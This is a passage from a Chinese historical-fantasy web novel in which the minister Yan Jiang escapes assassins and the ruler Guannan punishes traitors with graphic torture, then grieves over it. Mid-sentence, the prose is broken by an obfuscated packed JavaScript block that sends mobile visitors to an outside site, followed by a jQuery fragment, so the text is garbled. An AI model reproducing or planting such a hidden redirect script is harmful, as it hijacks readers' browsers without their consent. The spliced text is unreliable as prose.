晏江行礼告退,走在离宫的路上,心里的不安越来越剧烈。他回到居所,立即摊开地图,开始构想与唐撕破脸的可能。却如观南所说,如今留守的唐军仍有三万,且能在五天之内增加到五万,大吴无法承接第二场战争了。一旦唐军第二次动员十五万大军,他们就将面临比上一次更糟的局面,毕竟,他们的流民问题已经越来越严重了,民间当真是一粒米也拿不出来了。
可是,就算他们不杀荀忠,一味忍让退缩,就能避免第二场战争吗?
想通了这一点,晏江正准备趁夜前往内城,向观南谏言。可是,一位面生的仆人突然走进的了他的内室,而视线恰好落在他腰间的佩剑上
"已经子时,大人该歇了,奴才来伺候大人就寝。"
"不必了,你先出去吧。"
"是,奴才告退。"
从前从没有人敢在他忙于公务的时候打扰他。顿时,晏江心中的不安达到了极致,似乎感受到了有无数双眼睛在盯着他,他隐隐觉得要有大事发生。
"回来。"
那仆人转过身去,而一把锋利的匕首穿透了他的咽喉。晏江死死地捂住他的嘴,没发出一点声响。他麻利地脱下他的衣服,穿在了自己身上,然后走了出去。
又一个生面孔走来。问:"什么情况?"
晏江没有遮掩身上的血渍,比划了一个抹脖子的动作,然后向后指了指,当那人看向他的内室时,一枚毒针已扎入那生人的脖颈。那人身子一麻,倒了下去。晏江迅速奔向只有十步远的避难室,锁上了门。
很快,他听到了一阵笛声,后来,又响起了很多阵越来越远的笛声,他知道是刺客在传递信号,他的心一下提到了嗓子眼。很快,他听到了掘土的簌簌声。没事,密室与底座是连为一体的,他心想。但很快,他又听到了锐器击打石墙的声音,然后是王水溶解石头的滋滋声。他心道不妙,立刻沿着密道向外爬。
当他爬到出口时,透过门缝,他隐约看见一把还在滴血的长矛,他立刻缩了回去。细密的冷汗布满了他的整张脸,恐惧几乎吞没的了他的大脑,他瘫坐在狭小的密道里。
"还不出来?是胳膊断了还是腿断了。莫非要我亲自去请你。"
那是一个女子的声音,很熟悉,还透露出一股期待夸奖的傲娇语气。他愣了半晌,才意识到,那是观南的声音。
他急忙走了出去,一位披着红袍,穿着铠甲的少女正持着长矛立在那里。她的身形还隐隐透着稚气,但一双眼却炯炯有神,似笑非笑间还透着杀气。但一见到他,她眼中的戾气就消散了,化作戏谑的笑容。
他这才意识到自己有多狼狈,头发已经完全散了,奴仆打扮的衣服上已布满了密道里带出的灰尘,甚至腰部的衣服还被密道的里的什么东西扯了一块下来。但随即,她注意到了他领子上的血迹,她一把扯过他的领子,要去看看他有没有受伤。他微微偏头,躲过了她的另一只手,说到:"不是我的血。"但不知为什么,他的嘴角却不由扬了起来。
"没想到陛下早已谋划妥当,倒是叫臣空担心了一场。"
"若不如此,如何骗过那些人的眼睛。"
晏江的眼里闪过几分欣慰与钦佩,但随即,轻松愉快的氛围就被一位前来报告的军士打破。
"一千军士,已被尽数斩杀,我方无人伤亡。但是……"
"但是什么?"观南有些怒了,眼里透出猩红的杀意,莫非那个人还没死?
"荀,忠,荀忠,下落,不明。"
"混账!"
观南一怒之下砍下了那名军官的头,紧握着长矛的手青筋暴起。
"拖出去,挂在军营里,这就是办事不力的下场。"
颠簸的马车里,观南一言不发,只是沉默着擦拭着她的一把短剑。
"陛下不是说,不打算动荀忠吗?"
"这四面八方可都是间谍,可不要什么都敢说。"
"陛下指的是谁?"
"是谁我不知道,可如果没有把握,唐又为何非要我收下荀忠。但这一闹,谁是叛徒可就明了了。回宫时,他们就该知晓了。"
当晏江走进皇宫之时,他先是听到此起彼伏的惨叫,那惨叫简直响破天际,仿佛是生命垂危之时的最后一声呐喊,他不由有些胆战心惊。
而当他走到大殿前时,更是直接弯腰吐了起来。只见数十人的四肢的白骨被死死地钉在架子上,他们四肢上的肉被尽数剥下,腹部的肉也被剥了干净,只留下筋膜和内脏,还在勉强运行,他们的双目、鼻子、双耳也被尽数割下,而有些人的心脏还在勉强跳动。
观南神色如常,径直走到一位奄奄一息的人架子旁,像是在欣赏一件艺术品。一边打算邀功的禁军洒了一把盐在那人还在运行的脏腑上,一声更加撕心裂肺的嘶吼再度传来,许多胆小的宫人已情不自禁地向观南跪地磕头。那嘶吼慢慢变成低吼,然后越来越微弱。观南目不转睛地盯着它,此时此刻,她真的像极了一位死神。但在无人注意到的地方,一滴泪在阴影中落下。
观南收拾好情绪,大声说:"各位都看到了,若再敢有二心,便处以此刑。"
"臣、奴等愿誓死效忠陛下,绝无二心。"
观南随即拉着几乎吐得站不起来的晏江赖到了偏殿,她看着他惨白的小脸,落寞地笑了出来。
"怎么,这就怕了?你莫不是以为,若是你我落到他们手里,下场就会比这要好吧。"晏江看着面色有些狰狞的观南,不由笑了出来。
"若是陛下的旨意,他们也算是罪有应得。只是臣还想问陛下,杀人,开心吗?"晏江看着杀红了眼的观南,他其实很高兴,高兴于陛下的成长。但他心里也莫名生出一点悲凉,那个懵懂、忐忑的公主这么快就长大了吗?他很心疼她,因为他分明从那嗜血的残忍中看出了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15961873|177673||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一分落寞,而他想拥抱那些落寞。"
观南沉默了很久,她的双眸渐渐蒙起了一层水雾。
"你凭什么质问朕?背叛朕的人都该死就算我死后堕入无边炼狱,我也要先将他们碎尸万段。"
她不知为什么,似是未泯的良心还不允许她做出这样的事,她特别期待有人认可。她是那么期待晏江会和她说,这是一个乱世君主该做的。愤怒和委屈再度一起撕扯着她的心扉,泪水夺眶而出。晏江没料到她会有那么大的反应,一时无措了起来。
"陛下看起来似乎并不高兴。"
观南沉默了,是啊,自政变之后,她就一点都高兴不起来。
"朕只是突然想到他们也有父母妻儿,也又有亲朋好友。也不知道他们的女儿会不会为他们悲伤呢?"
"其实看到这一幕,臣是欣慰的,无论残暴与否,陛下都已成为了一位杀伐果断的天子,对于那些该死之人,陛下本就不必心慈手软。陛下,会成为一个很好的皇帝,而臣也会陪着陛下,做万世明君的。"
"万世明君吗?朕都不知道自己还能活多久?万世明君?多美丽的谎言啊!"观南喃喃道,眼中的戾气随即转化成无边的落寞。
她仔细地摸着自己的脖颈,上面还有一些还未愈合的伤痕,仅仅是触碰到它们,她仿佛就能再次感受到战场上敌人的兵器擦颈而过的危险。而这后方的危险其实并不比前线少几分,她是害怕过的,但在长期的压力下,恐惧转化成了冷血嗜杀。
她注视着自己沾满鲜血的双手,感到了一阵茫然。其实,被她处以酷刑的人中也有被迫卷入争端的无辜者,但是她并没有雨里从这上千人中一一辨别。她本以为已经见过尸山血海的她不会有所触动,但当听到那些濒死的呻吟时,她还是不免伤怀。
夜色中,她横笛吹响一首安魂曲,悠扬的乐声在空中萦绕,指引着亡魂遁入轮回。至少在这一刻,她是真心地祝愿他们下辈子能过个安稳的人生。
悠扬的笛声响起,带着涤净人心的安和,为那些敌人的亡魂指向通往黄泉之路。
一曲终了,晏江拊掌称道。"其实臣很认可陛下的行为,明天,臣也会配合陛下吓唬一下文武百官的。但许是臣忧心过度,总是会担心,刻骨的仇怨会妨碍陛下成为万事流芳的圣主。"他用极认真也是极自豪的语气说出这样大言不惭的话,观南不由破涕为笑。
"这个时候,朕自己都不知道,自己是否能活过明天。也就只有你,还能如此大咧咧地说着以后的事。"
晏江笑了,此时此刻,他心里闪过几分异样的情愫。其实,陛下杀伐果断,他应该感到高兴。但是,不知道为什么,他竟会心疼她。他不忍心看到她在仇恨中沉沦,在杀戮中坠入深渊。他没有想到,仅仅相隔十几天,仇恨,就将那个懵懂的公主饲养成嗜杀成性的死神。在这一刻,他真心希望能帮她完成心愿,但更希望,她能获得快乐。